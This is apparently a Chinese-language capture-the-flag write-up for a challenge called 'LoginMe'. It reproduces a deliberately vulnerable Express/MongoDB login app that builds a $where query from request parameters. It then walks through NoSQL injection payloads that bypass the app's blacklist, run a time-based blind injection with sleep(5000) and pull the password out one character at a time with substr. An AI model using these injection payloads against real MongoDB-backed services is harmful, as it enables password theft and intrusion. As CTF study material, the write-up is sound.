LoginMe
awesome web game~
代码审计2333
var express = require('express')
var app = express()
var bodyParser = require('body-parser')
app.use(bodyParser.urlencoded({}));
var path = require("path");
var moment = require('moment');
var MongoClient = require('mongodb').MongoClient;
var url = "mongodb://localhost:27017/";
MongoClient.connect(url, function(err, db) {
if (err) throw err;
dbo = db.db("test_db");
var collection_name = "users";
var password_column = "password_"+Math.random().toString(36).slice(2)
var password = "XXXXXXXXXXXXXXXXXXXXXX";
// flag is flag{password}
var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')};
myobj[password_column] = password;
dbo.collection(collection_name).remove({});//删除collection里的全部
dbo.collection(collection_name).update(
{ name: myobj.name },
myobj,
{ upsert: true }
);
app.get('/', function (req, res) {
res.sendFile(path.join(__dirname,'index.html'));
})
app.post('/check', function (req, res) {
var check_function = 'if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}';
for(var k in req.body){
var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1}); //blacklist # ( )
if(!valid) res.send('Nope');
check_function = check_function.replace(
new RegExp('#'+k+'#','gm'),JSON.stringify(req.body[k])) // 全局多行匹配出username password 并填入字符
}
var query = {"$where" : check_function};
var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}}
dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){
if(e) throw e;
res.send("ok");
// ... implementing, plz dont release this.
});
})
app.listen(8081)
});
//update({ '$where': 'if(""== this.password_zt92exaa9kfenrk9){\nreturn 1;\n}else{\nreturn 0;}' },{$set:{last_access:"123123"}})
每行代码都很重要
双引号的逃逸用了几乎一天
$1:
username=admin#password#&password=||
可以修改时间,算是一个注入吧~然而没有卵用
$2
正则存在注入因此可以控制我们的输入(哭唧唧,但是实际上这个payload还是很复杂的,绕过检测利用了express本身的缺陷,但是单个数组传参并不能解决问题,依旧是nope,因此至少需要一个数组一个正常传参才能绕过
首先我们通过正则将check_function控制在可控范围内
|#|=&|this.*\) |=
接下来就是想着怎么实现这个获取信息的工作
因为
dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){
if(e) throw e;
res.send("ok");
没有数据回显,因此选择时间盲注,使return 1可控
|1;|[]=%2b%20sleep(5000)%2b&|"|=
然后就是困扰了我一晚上的地方如何单字节获取数据,因为根据现在的payload,无法单字节爆破,只能整个字符串爆破,那么他的次数也就是可怖的16^32
次,时间上不可能,那么寻找突破
|""|=%2b'e'%2b&|(this.password_\w*)|[]=%2b$1.substr(11,1)%2b
首先将第一个""
的位置变得可控
|""|=%2b'e'%2b
然后将this.password_\w
变成我们想要的String.substr(0,1)
|(this.password_\w*)|[]=%2b$1.substr(11,1)%2b
最后将所有思路合并,变成一个沉甸甸的payload
|#|=&|this.*\) |=&|""|=%2b'e'%2b&|(this.password_\w*)|[]=%2b$1.substr(11,1)%2b&|1;|[]=%2b%20sleep(5000)%2b&|"|=
$last step
burp
bingo: flag{13fc892df79a86494792e14dcbef252a}
此处评论已关闭